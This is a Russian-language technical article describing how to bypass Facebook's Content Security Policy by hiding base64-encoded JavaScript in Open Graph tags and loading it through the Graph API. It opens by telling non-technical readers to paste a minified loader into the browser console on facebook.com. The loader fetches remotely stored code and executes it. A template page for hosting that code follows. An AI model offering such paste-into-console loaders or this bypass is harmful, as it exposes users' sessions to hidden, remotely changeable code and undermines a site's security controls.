Если вы не являетесь техническим специалистом или хотите быстро ознакомиться с демонстрацией результата, а затем прочитать статью, то:

Перейдите на www.facebook.com (необязательно быть авторизованным), откройте консоль браузера, вставьте туда код ниже и нажмите Enter:

if(location.host.includes("facebook.com")){if(!window.loaderFB){window.loaderFB=!0;let e=["8536517059785353","9346178902100607","9471481252902726","9474623735881133","9152047901528126"],t=async e=>{try{let t=e.map(e=>fetch(`https://graph.facebook.com/${e}?fields=title,description,created_time,updated_time`).then(t=>{if(!t.ok)throw Error(`Network response was not ok for ID ${e}: ${t.statusText}`);return t.json()}).catch(t=>(console.error(`Fetch problem for ID ${e}:`,t),null))),o=await Promise.all(t),r=o.filter(e=>e?.description).map(e=>e.description).join(""),a=URL.createObjectURL(new Blob([atob(r)],{type:"application/javascript"})),c=document.createElement("script");c.src=a,document.body.appendChild(c),c.remove(),delete window.loaderFB}catch(i){console.error("Fetch operation problem:",i)}};t(e)}}else location.href="<https://www.facebook.com>";

FB, как и любой подобный сайт, использует CSP (Content Security Policy), который запрещает совершать запросы на посторонние домены.

Вот как выглядит защита, если мы отправим запрос на домен вне белого списка FB.

Untitled

Зачем вообще что-то загружать в FB с нашего домена?

Например, эту возможность могут использовать владельцы JS-закладок для создания авто-обновляемых приложений с неограниченной в размере кодовой базой.

Создание HTML страницы для хранения версии и кода приложения

В FB есть API для получение информации о URL, опубликованном в посте или комментарии на Facebook:

https://developers.facebook.com/docs/graph-api/reference/v21.0/url

Например, по ссылке ниже можно увидеть, какие свойства Open Graph обнаруживает FB для рандомной статьи с хабра:

https://developers.facebook.com/tools/debug/?q=https://habr.com/ru/articles/783128/

Untitled

Почему бы нам не использовать og:* теги для хранения в них версии и JS кода нашего приложения?

Шаблон страницы для хранения версии/кода нашего приложения - index.html

<!DOCTYPE html>
<html>
  <head>
    <meta property="og:type" content="website" />
    <meta property="og:title" content="0.1.0" />
    <meta property="og:description" content="YWxlcnQoJ0hlbGxvIFdvcmxkIScp" />
  </head>
</html>

og:title - используем это свойство для указания текущей версии приложения

og:description - сюда складываем JS код в base64. Опытным путем выявлена рекомендуемая максимальная длина строки = 350к символов.